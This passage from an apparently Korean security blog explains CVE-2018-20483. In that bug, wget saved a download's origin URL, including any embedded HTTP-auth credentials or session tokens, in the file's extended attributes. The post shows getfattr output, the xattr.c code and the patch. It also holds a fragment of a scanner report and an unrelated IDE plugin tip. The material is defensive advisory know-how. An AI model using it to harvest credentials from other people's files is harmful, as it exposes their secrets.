                if (detail.className == 'result0'){
                    detail.className = 'result1';
                }else{
                    detail.className = 'result0';
                };
            }
        </script>
    </head>
    <body>
        <div class="container">
            <table class="table">
                <thead>
                    <th>target-url</td>  <th>poc-name</td>  <th>poc-id</td>  <th>component</td>  <th>version</td>  <th>status</td>
                </thead>
                <tbody>
                    <tr class='status' onclick='showDetail(this)'> <td>http://192.168.0.13:3000</td>  <td>123</td>  <td>93077</td>  <td>WordPress</td>  <td>4.6</td>  <td>failed</td> </tr>
                </tbody>
            </table>
        </div>
    </body>
</html>

이럴만도 한 이유가 결국 python library로 제공된다는점인데요, 베스트는 퓨어코드로 그대로 쓰는게 아닐까 싶습니다 :)


Share: | Coffee Me:

wget stores a file's origin URL vulnerability (CVE-2018-20483)

최근에 twitter에서 wget의 문제점에 대해 이야기가 좀 돌았었습니다.
(https://twitter.com/gynvael/status/1077671412847046657)

결국은 보안 이슈로 잠정적인 의견이 모이는 분위기였고, 결국 CVE 넘버링을 달게 되었네요. 어떤 이슈고 어떤 리스크를 가질 수 있는지 정리해봅시다.

Vulnerability?

1.20.1 버전 이하에서(거의 대부분의 버전입니다.., 패치가 내려간 것 같아요.) wget 으로 파일을 받아오는 경우 파일 메타 데이터 영역에 origin url 이 남게됩니다.

#> wget https://www.hahwul.com
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'index.html'

index.html 파일을 받았는데, 이 html 파일의 메타 데이터를 보면..

#> getfattr -d index.html
# file: index.html
user.xdg.origin.url="https://www.hahwul.com/"

user.xdg.origin.url에 다운로드된 주소가 남아있습니다.


여기까지 보면 별다른게 없는 것 같지만, wget을 어떤 방식으로 운영하냐에 따라서 여러가지 케이스가 존재할 것 같습니다.

1. HTTP Auth를 사용하는 URL에 접근하는 경우

간혹 http 인증을 통해 파일을 다운로드 받는 경우 파일의 메타 데이터를 통해 로그인 정보가 노출될 수 있습니다.

#> wget https://id:pw@www.hahwul.com

#> getfattr -d index.html
# file: index.html
user.xdg.origin.url="https://id:pw@www.hahwul.com/"

메타 데이터 자체가 파일에 기록된 정보다 보니 서버단 이외에 사용자단에서 파일을 접근하거나 가져갈 수 있는 경우 정보가 노출될 가능성이 존재합니다.

2. private url에서 파일을 받는 경우

외부에서 접근 불가능한 도메인에서 파일을 받아 사용자에게 제공하는 형태의 기능이 있다면 url 주소가 노출될 수 있습니다.

#> wget https://iamprivatedomain/image.png

3. url에 인증정보가 포함된 요청인 경우

wget으로 이런 케이스의 파일을 호출할일이 많진 않을 것 같으나, 그래도 있을법한 케이스라 넣어두었습니다.
일부 서비스들은 url에 sessionid나 token같은 중요 데이터를 포함하는 경우가 있는데, 이 또한 다운로드된 파일이 노출되었을 때 해당 정보 획득이 가능할 것 같습니다.

#> wget https://domaindomain/?sessionid=a8a76ba576bb85ab65ab6765a4654d67s5

Code review

wget 코드중 xattr.c 파일 내 set_file_metadata 부분이 문제였습니다.
https://github.com/mirror/wget/blob/master/src/xattr.c

아래 함수에서 다운받은 파일에 대해 metadata를 기록하는데, origin_url 값이 쓰여집니다.

int
set_file_metadata (const struct url *origin_url, const struct url *referrer_url, FILE *fp)
{
  /* Save metadata about where the file came from (requested, final URLs) to
   * user POSIX Extended Attributes of retrieved file.
   *
   * For more details about the user namespace see
   * [http://freedesktop.org/wiki/CommonExtendedAttributes] and
   * [http://0pointer.de/lennart/projects/mod_mime_xattr/].
   */
  int retval = -1;
  char *value;

  if (!origin_url || !fp)
    return retval;

  value = url_string (origin_url, URL_AUTH_HIDE);
  retval = write_xattr_metadata ("user.xdg.origin.url", escnonprint_uri (value), fp);
  xfree (value);

  if (!retval && referrer_url)
    {
   struct url u;

   memset(&u, 0, sizeof(u));
      u.scheme = referrer_url->scheme;
      u.host = referrer_url->host;
      u.port = referrer_url->port;

      value = url_string (&u, 0);
      retval = write_xattr_metadata ("user.xdg.referrer.url", escnonprint_uri (value), fp);
      xfree (value);
    }

  return retval;
}

로직 자체에 문제가 있는건 아니지만, 의도했던 기능이 다른 보안적인 문제를 불러오게 되었네요. 그리고 잘 보시면 음? 하셨을 부분이 있는데, referrer.url 또한 조건에 맞으면 메타데이터를 남깁니다. 상황에 따라 이 부분도 문제가 될 수 있겠네요.

How to fix?

우선 wget이 패치가 나왔으니 업데이트 해주시면 해결 가능합니다.

#> wget https://www.hahwul.com
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘index.html’

#> getfattr index.html
# file: index.html
user.xdg.origin.url

그리고.. 패치와 별개로 취약 버전의 wget 으로 받은 파일에 대해선 중요한 정보가 남아있진 않은지 체크가 필요할 것 같네요.
Share: | Coffee Me:

1/03/2019

IntelliJ(RubyMine) 에디터 수정이 불편한 문제(IdeaVim Plugin)

새해 첫 포스팅은 가볍게 트러블슈팅으로 시작해봅니다. (연초인데 왜이리 정신없을까아...)

원래 골수 vim 유저인데, RubyMine으로 개발 IDE 잡으려고 세팅하는 중입니다. 그런데 갑자기 입력이 매우 불편한(?) 이슈가 있었습니다.

https://media.giphy.com/media/s142Kq18w5DCo/giphy.gif

- a 입력 이후에 수정 모드로 진입됨
- 다른 단축키가 먹히는 기분?

확인해보니 IdeaVim Plugin 떄문에 발생한 이슈였습니다. 해당 플러그인은 vim 환경처럼 IntelliJ를 바꿔주는데 이걸로 인해 Edit 시 a 입력 후 처리해야하고 기타 여러 불편함이 발생했던 것이였습니다.

아마 RubyMine 말고도 Pycharm이나 다른 IntelliJ 계열 IDE들은 모두 유사할 것 같습니다. 안쓰는 플러그인은 삭제해줍시다!

File > Settings > Plugins 에서 vim으로 검색

IdeaVim 삭제하거나  Disable 처리

이제 말끔히 잘 됩니다! (괜히 vim 반가워서 플러그인을 깔았더니 이런 문제가...ㅎㄷㄷ)
Share: | Coffee Me: